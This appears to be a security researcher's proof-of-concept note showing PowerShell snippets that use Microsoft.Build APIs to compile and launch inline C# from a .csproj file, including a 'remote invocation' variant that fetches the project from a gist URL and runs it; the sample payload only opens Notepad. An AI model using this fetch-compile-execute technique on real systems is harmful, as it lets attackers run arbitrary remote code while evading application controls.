Build_In_Memory_CSharp_Project.txt

After a little more research, 'In Memory' notion was a little exaggerated (hence the quotes). However, we'll call it 'In Memory Inspired' ;-)

These examples are PowerShell alternatives to MSBuild.exe/CSC.exe for building (and launching) C# programs.

Basic gist after running PS script statements:

- Loads C# project from file or web URL
- Create various tmp files
- Compile with csc.exe [e.g. "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\subadmin\AppData\Local\Temp\lz2er5kc.cmdline"]
- Comvert to COFF [e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\subadmin\AppData\Local\Temp\RES11D5.tmp" "c:\Users\subadmin\AppData\Local\Temp\CSCDECDA670512E403CA28C9512DAE1AB3.TMP"] 
- Launch program (payload) and run in PowerShell memory runspace
- Remove TMP files

More research is still required, however, proof-of-concepts are below....

Local Invocation
================

[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build')
$p="c:\test\test.csproj"
$e=new-object Microsoft.Build.Execution.ProjectInstance($p)
$e.build()


or


[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$proj = "c:\test\test.csproj";
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();


or


Add-Type -Path "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.dll"
$proj = "c:\test\test.csproj";
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();



Remote Invocation
=================

[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj");
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();


or


Add-Type -Path "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.dll"
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj");
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();

test.csproj

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />  
      <Code Type="Fragment" Language="cs">
        <![CDATA[		
        ]]>
      </Code>
    </Task>
	</UsingTask>
	<UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
	<!-- <Reference Include="System.IO" /> Example Include -->		
      <Code Type="Class" Language="cs">
        <![CDATA[
			using System;
			using System.Diagnostics;
			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;
				
			public class ClassExample :  Task, ITask
			{
				public override bool Execute()
				{
                    System.Diagnostics.Process proc = new System.Diagnostics.Process();
                    proc.StartInfo.FileName = "c:\\windows\\system32\\notepad.exe";
                    proc.Start();						
					return true;
				}
			}
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>